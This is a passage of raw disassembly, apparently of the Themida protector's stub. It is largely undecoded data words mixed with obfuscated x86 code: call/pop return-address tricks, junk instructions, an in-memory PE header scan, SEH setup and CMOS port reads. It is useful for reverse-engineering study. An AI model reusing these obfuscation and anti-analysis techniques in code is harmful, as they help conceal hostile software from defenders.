2880F50h, 8B000000h, 241C89FBh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A9C35141h dd 83AE4A8h, 31BD8B01h, 0FF06120Fh, 1207E5B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 280B7AC8h, 0FFE8B66h, 683h, 0D99D2900h, 0FF061221h dd 1229D195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0A25EBC9Ch, 8BBB5662h, 12164DB5h dd 6A00B006h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0C2E7C357h, 938E40C4h, 8AA06A51h dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 5B968DC3h, 56DFFA47h, 0F18B739Eh, 0E905B060h dd 10h, 379AB084h, 3BA480A9h, 594BA251h, 3EBAEC1Dh, 8171E461h dd 0D777B2EFh dd 0F613C5Fh, 21D83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 1D424CA3h, 7961CAC7h dd 13E9BD68h, 95000000h, 0D1719CB9h, 0CB16CBCAh, 0A6F98412h dd 0DB640941h, 0B60F4AD2h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 855732F8h dd 998D29B2h, 89061221h, 1228D98Dh, 6BA06h, 0B5290000h dd 6121E99h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8B78B3C3h, 4E8C1F9h, 86BAEE81h dd 0F76625A4h, 9B58BE2h, 2B061232h, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0B41ECF5Ch dd 952960F7h, 61223E9h, 890F53h, 5F000000h, 85895861h dd 6122131h, 880FD82Bh, 132h, 33F5BD31h, 0CE90612h, 0E2000000h dd 0E0A9D7A8h, 2781B57Bh, 0B93EBBBCh, 7, 1CC59529h, 0C1830612h dd 0C9B58900h, 3B06122Dh, 0FF860FD9h, 66000000h, 0CE9D98Ch dd 27000000h, 5B589D82h, 12DFD671h, 0F6A6B170h, 840F04C1h dd 0AEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0C7C35343h, 18475945h, 10E9B16Ah, 39000000h, 0E6A9E549h dd 0C968F598h, 0F2F51A17h, 0FFC0BFE8h, 120CA995h, 0F7816606h dd 6A5BC0C8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C77BC352h, 0BF8D0408h, 3E90AB03h dd 12258D89h, 0C32B0612h, 1143CF81h, 343D6951h, 0F000008h dd 2D86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8BAE858Bh, 12179DB5h, 38E906h, 0BE660000h dd 0C08B5A59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 48C35747h, 0E777B9BEh, 8BEAA558h, 6860F51h, 9000000h dd 12004995h, 0C38B5E06h, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 63A8FEC3h, 370EFAB4h dd 14F585C7h, 0EF3D0612h, 6A5B27h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 9E988C3h, 7E000000h dd 0AE007C86h, 0CE15AC5Fh, 2169B529h, 0C08B0612h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F9C35040h, 8BB9BCEDh dd 121E85BDh, 0E5BD8106h, 0D0061207h, 0F000007h, 685h dd 0E585FF00h, 0FF061207h, 1207E5B5h, 11E806h, 0D3C90000h dd 55AD9032h, 0B316436Eh, 0D0494A65h, 89067AE5h, 12266185h dd 95FF5E06h, 61229D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 14C35545h, 0F31BD8Bh, 6A900612h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0F06BC352h, 49A834A2h, 810FC586h, 8, 170AF781h, 5E522B6Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AEC35747h dd 6AB45DAEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 8AF1C352h, 7F76BAF4h, 6ACF29h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 780F8CC3h, 0E9F55D09h, 11h, 4A1CDDAFh, 3C18D99Ah, 0D78930CBh dd 413D1890h, 830F5276h, 5, 0B3ABA4BEh, 7DB5037Bh, 5E061212h dd 885A7DBEh, 0CF81666Fh, 6A803Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0EBCA71C3h, 0BE956C3h dd 1E000000h, 755762FDh, 57718A5Ch, 6A5F4FFAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0D288C356h, 0D69A19C9h, 12E681B2h, 0E90152E0h, 0FFFFF82Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F4C35545h dd 0B4DE8152h, 5F205D30h, 8B666060h, 0B961FCD1h, 0FFFFFFFEh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h dd 0AC087F8Fh, 358589h, 95890612h, 6121A71h, 6DBE6650h dd 8D215858h, 61230DDh, 29D9BD89h, 8D210612h, 6122349h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F0C35343h dd 5DD816C6h, 5BD33CEh, 8B061222h, 1230DD8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B140837h, 340A06B2h, 83FEBF0Fh, 850F01E1h, 2, 8D8BDE8Bh dd 6122349h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0B9C35343h, 46431E84h, 0CE800h, 7F5F0000h, 0D099CD58h dd 0CDCDC4D5h, 9D0B2E3Ch, 61207F1h, 83D98B5Fh, 850F01E1h dd 44h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h dd 0A2C35242h, 31A7A57Fh, 12E8E2h, 3C00000h, 5394F2Bh dd 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh, 1C1913BBh, 0B5895F4Bh dd 612177Dh, 0FEB96061h, 6AFFFFFFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CBF0C352h dd 11DE3FE4h, 15B58BE6h, 2106122Ah, 122ED98Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 21F94E3Fh, 122D698Dh, 0D0EBE06h, 0E1BF5BAAh, 8B6CA963h dd 122ED98Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 92327535h, 958B6BB4h, 6122CB1h, 0F01E183h dd 2685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 51467290h, 2E70A987h, 8BC2BF0Fh dd 122D698Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0DA76AFFFh, 0AC3406D4h, 7918D89h dd 0D2810612h, 4685E584h, 0F01E183h, 2385h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0BAE07FF7h, 4856D8D2h, 6A6061h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 822777C3h, 665B589Dh dd 0FEB9C18Bh, 0E8FFFFFFh, 6, 0F4259CADh, 0E852684Fh, 0Ah dd 0D57F929Fh, 0F81F8289h, 5B5859EBh, 0B1958B5Ah, 21061203h dd 1213DD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 21B50593h, 1223ED8Dh, 0BE906h, 0CB850000h dd 0ADA61D1Bh, 0A9D0DD9Bh, 0DD8D8B7Bh, 6A061213h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B039C351h, 0F39B039h, 685h, 1FEF8100h, 833B9D45h, 850F01E1h dd 25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh dd 96C35545h, 3DAB63EDh, 0DD4D1762h, 0ED8D8BE2h, 89061223h dd 12325195h, 1E18306h, 0C850Fh, 8C0F0000h, 6, 1FD98503h dd 60610612h, 0BE8h, 2EC42000h, 170830E4h, 65A23353h, 0FFFEB95Fh dd 0C480FFFFh, 198D2132h, 8906121Eh, 122A4995h, 21FA8B06h dd 1214F58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0E966B6BAh, 0E8222E5Ah, 7, 0F62DF557h dd 6661939Eh, 0BA32C781h, 198D8B5Bh, 6A06121Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0C9FAC357h, 69F7D471h, 2F158D89h, 9D890612h, 6122025h dd 0F01E183h, 0B85h, 19BD8B00h, 66061221h, 62A5E081h, 14F58D8Bh dd 0FAB70612h, 0F01E183h, 85h, 6A606100h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E6EFC356h dd 8B199376h, 120C5585h, 0D1BD3106h, 0C7061200h, 1207E585h dd 7D006h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0C06C3596h, 0A223BDE8h, 870F5035h dd 0 ; --------------------------------------------------------------------------- mov bl, dh popa push 0 push eax call sub_5BE67A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE67A proc near ; CODE XREF: Themida_:005BE672p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BE67A endp ; --------------------------------------------------------------------------- dec ebp mov edi, 0B5296C9Fh lds esp, ds:7EB0612h popa popf jmp $+5 push 0 push edx call sub_5BE6A8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE6A8 proc near ; CODE XREF: Themida_:005BE6A0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5BE6A8 endp ; --------------------------------------------------------------------------- jecxz short near ptr loc_5BE6CB+7 push ss push 0 push ebp call sub_5BE6C6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE6C6 proc near ; CODE XREF: Themida_:005BE6BEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp loc_5BE6CB: ; CODE XREF: Themida_:005BE6B8j add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BE6C6 endp ; --------------------------------------------------------------------------- and [ecx-1035A284h], ebx add [ebp+6121381h], esi mov eax, ecx mov edx, 0F0113000h sub edx, 0F0000000h add edx, 14h mov [ebp+6120F1Dh], edx sub edx, 14h lea eax, [ebp+6162CB0h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5BE71D: ; CODE XREF: Themida_:005BE73Fj cmp word ptr [eax], 5A4Dh jnz loc_5BE73A movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5BE744 loc_5BE73A: ; CODE XREF: Themida_:005BE722j sub eax, 1000h jmp loc_5BE71D ; --------------------------------------------------------------------------- loc_5BE744: ; CODE XREF: Themida_:005BE734j mov ecx, eax mov [ebp+6122461h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+6121BA5h], edx mov edx, [eax+50h] mov [ebp+6121181h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+6122DC1h], edx add edx, [eax+8] mov [ebp+6120765h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5BE79D ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5BE79D: ; CODE XREF: Themida_:005BE785j cmp dword ptr [ebp+6122EEDh], 0 jz loc_5BE7CE mov byte ptr [ebp+61215C1h], 47h push 0D49AA7D2h push dword ptr [ebp+6123101h] lea eax, [ebp+615827Ah] call eax push 0 call eax mov [ebp+612200Dh], eax loc_5BE7CE: ; CODE XREF: Themida_:005BE7A4j mov edx, ebx pusha sub edi, [ebp+61230B5h] mov eax, eax push 0 push eax call sub_5BE7E4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE7E4 proc near ; CODE XREF: Themida_:005BE7DCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5BE7E4 endp ; --------------------------------------------------------------------------- jle short near ptr loc_5BE858+4 mov ecx, 0BD832C35h add [edi], ebp adc al, [esi] add [ebp+9], dh cmp dword ptr [ebp+6122149h], 0 jz short loc_5BE824 push eax push ebx mov eax, eax mov eax, 438h mov [ebp+6120B35h], eax lea ebx, [ebp+614AD09h] call ebx ; _iob pop ebx pop eax loc_5BE824: ; CODE XREF: Themida_:005BE809j cmp dword ptr [ebp+6122149h], 0 jz short loc_5BE844 push eax push ebx mov eax, 438h mov [ebp+6120B35h], eax lea ebx, [ebp+614A9F8h] call ebx ; _iob pop ebx pop eax loc_5BE844: ; CODE XREF: Themida_:005BE82Bj or [ebp+6121829h], esi mov [ebp+6122BFDh], ebx mov eax, eax mov ecx, [ebp+6122FC9h] loc_5BE858: ; CODE XREF: Themida_:005BE7F4j call sub_5BF069 push 0 push eax call sub_5BE868 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE868 proc near ; CODE XREF: Themida_:005BE860p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5BE868 endp ; --------------------------------------------------------------------------- pop esp push es or al, 0CCh daa ror dword ptr [ecx+5Dh], 8Bh mov ch, 11h adc eax, 85890612h inc ecx or [edx], dl push es and esi, [ebp+6122AE5h] call sub_5BF069 jmp loc_5BE8A9 ; --------------------------------------------------------------------------- dd 387EFEEEh, 640DB737h, 1A8CC25Fh db 0DCh ; --------------------------------------------------------------------------- loc_5BE8A9: ; CODE XREF: Themida_:005BE897j mov [ebp+61225B1h], eax mov ecx, 5BDDD4D9h mov ecx, [ebp+6122935h] call sub_5BF069 jge loc_5BE8C8 movzx edi, dx loc_5BE8C8: ; CODE XREF: Themida_:005BE8BFj mov [ebp+61214C1h], eax and cx, 0C197h and ch, 46h call sub_5BF069 push 0 push esi call sub_5BE8E6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE8E6 proc near ; CODE XREF: Themida_:005BE8DEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5BE8E6 endp ; --------------------------------------------------------------------------- dw 127Ah dd 0EE8h, 4FDE7500h, 0E92C5432h, 497C45D0h, 0FB4F842h dd 288h, 5E616000h, 29E58589h, 6A0612h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0BB8B4CC3h dd 85317B1Fh, 6123451h, 724E8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 21FA2900h dd 0DD678920h, 0EB8A15C4h, 0C898589h, 95010612h, 61211E9h dd 7C5B531h, 0E6E80612h, 6A000006h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4EFFC351h dd 7FFAE7B9h, 0C781668Dh, 8589B42Fh, 6122B19h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 68C35747h, 3B177B3h dd 0F9CE62AAh, 690E8h, 0BD8B5000h, 6122BFDh, 7E85Eh, 0BF990000h dd 5CF5244Bh, 0A99D890Ah, 5906122Ah, 29B18589h, 0BD890612h dd 6122FE5h, 664E8h, 0B1B58B00h, 89061221h, 1231C585h dd 0F98D0306h, 6606121Dh, 0E8F95CBEh, 649h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h, 0E0493A07h dd 0B58960DBh, 6122AEDh, 8D0Fh, 89610000h, 12243185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 85418ACCh, 1969097Ch, 0EAE8B1FAh, 66000005h, 0FBE4DE81h dd 2D798589h, 85890612h, 612297Dh, 5D4E8h, 1DBD8B00h, 8906121Dh dd 1219B185h, 3850F06h, 66000000h, 8166CF8Bh, 0E8876CD9h dd 5B5h, 1D159D89h, 85890612h, 61229A5h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 25C35646h, 0C6F7EBFEh dd 6A9772F3h, 580E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 89F583CFh, 1232E585h dd 3830F06h, 0F000000h, 4EE8CFBFh, 6A000005h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 973C352h, 0CE952F6h, 16000000h, 0A18A2C1Fh, 0B46EAC22h dd 89905287h, 1231F185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 13E9BEh, 2E2F0000h, 61B5DB1Dh dd 10D4BCF2h, 2281360Ch, 0A329DCCh, 22D980B8h, 4DCE8h dd 1DE18100h, 50420AEBh, 5FC88B66h, 8358589h, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0E63C45C3h, 1BF32575h, 9D2913E5h, 6122961h, 49CE8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 3AA1322Ah, 9E9A3h, 62B10000h, 8325BC3h dd 89B69F89h, 1213A185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 7D42EC05h, 6A00B0ECh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 313DC351h, 49BD8B18h, 0F506120Bh, 6AD8B60Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 6603C355h, 1042C781h, 6BAh, 4AC58000h, 0F1852960h dd 106121Ch, 121969BDh, 0C38B6106h, 201E8BBEh, 4E8C165h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h dd 580C3217h, 29E2F766h, 1218ED95h, 7E906h, 1370000h, 861AB07h dd 6AD82B6Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 81C2C355h, 8185EC36h, 0D91562D1h dd 0EBB9662Ah, 81B15046h, 33241C89h, 121DA98Dh, 0A995FF06h dd 6A06120Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0A9CFC352h, 504390C8h, 755EC181h dd 0F5B4785h, 185h, 958DFC00h, 6122191h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D2C35747h, 7166CED5h dd 0F5D3BAFBh, 1A89C1B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0BC35747h, 2719B58Bh, 42890612h, 658D8B04h dd 8D061229h, 122D9995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 58671E40h, 0ED76B825h dd 0E1CE8143h, 8B65987Ah, 122E95BDh, 6A1A8906h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0A3BCC350h, 4289FB01h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0ADB58B49h dd 0E9061215h, 11h, 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 0DF537B6h dd 0FD958DAAh, 6A061220h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0D376C357h, 0BE931h dd 1ADE0000h, 0F242CBE6h, 7B31DEDFh, 8B1A89B4h, 44289F7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6EC35141h dd 958D136Ch, 6121E2Dh, 6A1A89F9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 45E1C357h dd 0E8B63BF3h, 6, 0B9D6D36Dh, 0D681A69Fh, 230D1DC6h, 4428959h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 64C35242h dd 2DA18D09h, 958D0612h, 612287Dh, 24E98166h, 6A1A89BCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 945AC356h, 6A044289h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0FEEBC357h dd 0FAA8AF51h, 0A75C00DAh, 2A05958Dh, 81510612h, 0EA2C06D6h dd 1A89592Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 21C35747h, 9908A23Ch, 89F2B70Fh, 0BD2B0442h, 612139Dh dd 2829958Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 64D265C3h, 11AD14EAh, 6058619Bh dd 1ADDBD89h, 9D310612h, 61232CDh, 6A1A8961h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7092C353h, 9167531h, 122DD1B5h, 4428906h, 13E9h, 0B513A800h dd 7713A289h, 0B38D5D11h, 12B2BF0Ah, 517968C5h, 2665958Dh dd 89560612h, 1211F595h, 1A895F06h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 6DC35747h, 89D57C51h, 121C4995h dd 4428906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 73C35646h, 0BD332768h, 61207DDh, 69E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 4820F86h, 66000000h, 8BD87BBEh, 1227C5BDh ; --------------------------------------------------------------------------- push es ; =============== S U B R O U T I N E ======================================= sub_5BF069 proc near ; CODE XREF: Themida_:loc_5BE858p ; Themida_:005BE892p ... push 0 push 0 mov [ebp+6122711h], esi push 0 cld push 0 push 0 push edx call sub_5BF083 and [edx-3Dh], bl sub_5BF069 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BF083 proc near ; CODE XREF: sub_5BF069+12p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BF083 endp ; --------------------------------------------------------------------------- push edx mov al, 0F8h call dword ptr [ebp+6122931h] mov di, ax retn ; --------------------------------------------------------------------------- mov ecx, [ebp+6121B79h] mov al, ch jz $+6 mov eax, eax mov ecx, eax mov ecx, [ebp+612161Dh] cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5BF0CA cmp dword ptr [ebp+6122149h], 0 jz short loc_5BF0E3 loc_5BF0CA: ; CODE XREF: Themida_:005BF0BFj push eax push ebx mov eax, eax mov eax, 438h mov [ebp+61202B9h], eax lea ebx, [ebp+614AD70h] call ebx ; _iob pop ebx pop eax loc_5BF0E3: ; CODE XREF: Themida_:005BF0C8j cmp dword ptr [ebp+6122149h], 0 jz short loc_5BF103 push eax push ebx mov eax, 438h mov [ebp+61202B9h], eax lea ebx, [ebp+614AA11h] call ebx ; _iob pop ebx pop eax loc_5BF103: ; CODE XREF: Themida_:005BF0EAj push 0 push eax call sub_5BF10E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF10E proc near ; CODE XREF: Themida_:005BF106p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5BF10E endp ; --------------------------------------------------------------------------- xor al, 64h and al, 56h pusha clc mov ecx, edx popa pop edi add esi, 3F3FAEF3h mov eax, eax lea eax, [ebp+6120065h] push 0 push esi call sub_5BF141 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF141 proc near ; CODE XREF: Themida_:005BF139p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5BF141 endp ; --------------------------------------------------------------------------- db 48h, 0D4h, 7Ch dd 8267384Eh, 0BD03E05Dh, 61216F1h, 0E7BF6690h, 8B665053h dd 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 9E5AF9C3h, 0D381006Ah, 3884C085h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 54A742C3h, 8DF8BF0Fh, 1637D985h, 4E78106h, 83015CE3h dd 565005C0h, 5FFD8A51h, 2404895Bh, 6AEBD380h, 31BD8B00h dd 6A061212h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0EBFC5EAEh, 26A59C2Dh, 0BD89CA77h dd 6122E9Dh, 0FFDE8B66h, 120B5595h, 4D8D8906h, 8D061233h dd 159BCA8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 9D8B94AFh, 6120291h, 1299BD8Bh, 0D1FF0612h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A2C35545h dd 29630709h, 121D619Dh, 0E9BD8306h, 106120Eh, 3D850Fh dd 0BD8B0000h, 6123085h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 65C956C3h, 9D8BDF78h dd 6120F55h, 1E50BF50h, 489411Dh, 0D595FF24h, 0E906122Ch dd 0E0Ah, 0E8h, 0ED815D00h, 61637E3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 8EC35545h, 8B8318A6h, 120B89BDh dd 81F98B06h, 0E1B4CCFh, 8F858D7Bh, 0F061596h, 0C83h, 6850F00h dd 9000000h, 12029D95h, 8A609006h, 0DE8C6h, 0A5ED0000h dd 0C017FF6Dh, 2F2F05ADh, 5F0D68A9h, 0B7535061h, 6A905F29h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 4083C355h, 215B6897h, 2B04C7B7h, 1231ED9Dh dd 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BF363 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF363 proc near ; CODE XREF: Themida_:005BF35Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5BF363 endp ; --------------------------------------------------------------------------- push ebp jmp short loc_5BF37A ; --------------------------------------------------------------------------- dw 32C6h db 64h, 89h ; --------------------------------------------------------------------------- loc_5BF37A: ; CODE XREF: Themida_:005BF374j and eax, 0 sub edi, 762FC249h inc dword ptr [ebp+6121235h] push 0 push eax call sub_5BF396 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF396 proc near ; CODE XREF: Themida_:005BF38Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5BF396 endp ; --------------------------------------------------------------------------- pushf push es dec esp mov [ebp+61232E1h], ecx loc_5BF3AF: ; CODE XREF: Themida_:loc_5C00B9j push 0FFFFFFFFh push 0 push edi call sub_5BF3BC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF3BC proc near ; CODE XREF: Themida_:005BF3B4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5BF3BC endp ; --------------------------------------------------------------------------- xor edi, [eax-77h] mov ebp, 6121069h movsx ebx, bx push dword ptr [ebp+6120841h] clc call dword ptr [ebp+6121475h] jmp loc_5BF51B ; --------------------------------------------------------------------------- mov bh, ch jmp loc_5BF401 ; --------------------------------------------------------------------------- dd 3C7CC2EFh, 8C63404Fh, 79F76425h, 8E91436h db 66h ; --------------------------------------------------------------------------- loc_5BF401: ; CODE XREF: Themida_:005BF3EBj mov al, 0 mov bx, si out 70h, al ; CMOS Memory: ; used by real-time clock jmp loc_5BF420 ; --------------------------------------------------------------------------- db 45h, 8Ah, 0C0h dd 0CC1331E6h, 0A1D62B1Ch, 0FA874C36h, 5A29A01Fh ; --------------------------------------------------------------------------- loc_5BF420: ; CODE XREF: Themida_:005BF408j in al, 71h ; CMOS Memory push esi or ebx, [ebp+61229F1h] pop edi cmp al, 61h jnb loc_5BF51B sub [ebp+6121FA9h], ecx movzx ecx, al jmp loc_5BF448 ; --------------------------------------------------------------------------- dd 0EB69274h, 0A31930BBh ; --------------------------------------------------------------------------- loc_5BF448: ; CODE XREF: Themida_:005BF43Bj mov edx, 6 mov edi, 778D6723h mov eax, ecx jmp loc_5BF466 ; --------------------------------------------------------------------------- db 2 dup(3), 0FCh dd 0AA54B0DEh, 0FBF9E3CDh db 62h, 0B5h ; --------------------------------------------------------------------------- loc_5BF466: ; CODE XREF: Themida_:005BF454j shr eax, 4 mov ebx, esi mul dx mov ebx, edx sub ecx, eax mov [ebp+61202ADh], esi mov edx, ecx pusha mov ecx, [ebp+6122941h] popa and bh, 